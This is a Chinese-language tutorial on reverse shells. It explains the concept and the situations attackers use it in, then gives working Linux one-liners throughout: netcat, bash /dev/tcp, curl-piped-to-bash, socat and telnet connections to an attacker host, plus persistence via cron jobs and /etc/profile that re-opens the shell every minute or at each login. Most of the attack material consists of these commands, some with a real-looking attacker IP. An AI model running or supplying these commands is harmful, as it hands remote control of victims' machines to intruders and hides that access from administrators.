反弹shell

一、含义

​ 客户端连接服务端为正向连接(如:远程桌面、ssh等),反向连接弹shell(即反弹shell为攻击者为服务端,受害者主机为客户端主动连接攻击者的服务端)

二、适用情况

​ 1、目标机因防火墙受限,目标机器只能发送请求,不能接收请求

​ 2、目标机端口被占用

​ 3、目标机位于局域网

​ 4、IP会动态变化

​ 5、攻击了一台主机需要在自己的机器上交互式地执行目标机器中的cmd/bash命令

​ 6、遇到各种AV(AntiVirus,杀软)对正向的连接数据包检测,对出网的检测不严格

三、原理

​ 1.攻击者A开启19111端口TCP服务

​ 2.受害者B连接19111端口TCP服务

​ 3.A、B建立TCP连接

​ 4.A通过TCP服务将待执行命令发送到B

​ 5.B执行命令后将结果发送给A

四、方式

1、linux反弹shell

(1)netcat反弹shell

攻击机开启本地监听:

netcat -lvvp 2333

-l: 表示 listen 模式,即使 netcat 以服务器的方式监听连接请求。

-v: 表示 verbose 模式,使 netcat 在执行时显示更多详细信息。(-v: 显示基本的信息。-vv: 显示更详细的信息。-vvv: 显示更加详细和详尽的信息。)

-p 2333: 表示使用指定的端口号,这里是端口号 2333。-p 选项用于指定端口。

目标机主动连接攻击机:

netcat 47.xxx.xxx.72 2333 -e /bin/bash
# nc <攻击机IP> <攻击机监听的端口> -e /bin/bash

​ 整个命令的作用是,netcat 将连接到指定的目标主机(IP地址或主机名为 47.xxx.xxx.72),连接到指定的端口(端口号为 2333),然后在成功连接后,在目标主机(攻击机)上启动一个 Bash shell。这就创建了一个远程 shell 连接,使得用户可以在目标主机上执行命令。

执行效果如下:

(2)利用bash反弹shell

攻击机开启本地监听

netcat -lvvp 2333

目标机主动连接攻击机:

bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
或bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"
# bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1
注:/dev/{tcp|udp}/${host}/${port} 这个功能只在 bash 中存在,其它的 shell 如 sh、dash、zsh 中是没有的。
命令 命令详解
bash -i 表示以交互模式启动 Bash,即允许用户与 shell 进行交互。
>& /dev/tcp/47.xxx.xxx.72/2333 Linux环境中所有的内容都是以文件的形式存在的。在这里,它表示将 Bash 的标准输出和标准错误重定向到指定 IP 地址(47.xxx.xxx.72)和端口号(2333),让目标主机与攻击机47.xxx.xxx.72的2333端口建立一个tcp连接。
0>&1 将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容(也就是目标机的输入由攻击机给出)
(3)Curl 配合

首先,在攻击机的web目录里面创建一个index文件,(index.php或index.html),内容如下:

bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1

并开启2333端口的监听

然后再目标上执行如下,即可反弹shell:

curl 47.xxx.xxx.72|bash
#curl IP|bash 中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等
(4)将反弹shell的命令写入定时任务

一般使用cron服务创建定时任务,创建的定时任务文件在/var/spool/cron/[crontabs]/<username>文件夹里,

比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/root 中。(centos系列主机)

比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu系列主机)

需要使用crontab -e来编辑任务文件

*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/47.xxx.xxx.72/2333 0>&1#每隔一分钟,向47.xxx.xxx.72的2333号端口发送shell

(5)将反弹shell名号了写入/etc/profile文件

/etc/profile 是一个系统级别的 shell 配置文件,用于设置系统的全局环境变量和执行系统范围的初始化操作。它对所有登录到系统的用户都起作用。

将以下反弹shell的命写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行。

/bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1 & #最后面那个&为的是防止管理员无法输入命令
(5)利用socat反弹shell

Socat是Linux 下一个多功能的网络工具,名字来由是”Socket CAT”,因此可以看出它是基于socket的,其功能与netcat类似,不过据说可以看做netcat的加强版

攻击机开启本地监听

socat TCP-LISTEN:2333 -或nc -lvvp 2333

目标主机连接攻击机

socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane
(6)利用Telnet反弹shell

方法一

攻击机开启本地监听

nc -lvvp 2333

目标机主动连接攻击机

mknod a p; telnet 47.xxx.xxx.72 2333 0<a | /bin/bash 1>a

方法二

攻击机开启两个本地监听

nc -lvvp 2333
nc -lvvp 4000

目标机主动连接攻击机

telnet 47.101.57.72 2333 | /bin/bash | telnet 47.101.57.72 4000

获得shell后,在攻击机2333端口的终端上输入的命令会在目标机上执行,执行的回显将通过4000端口的终端显示出来。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。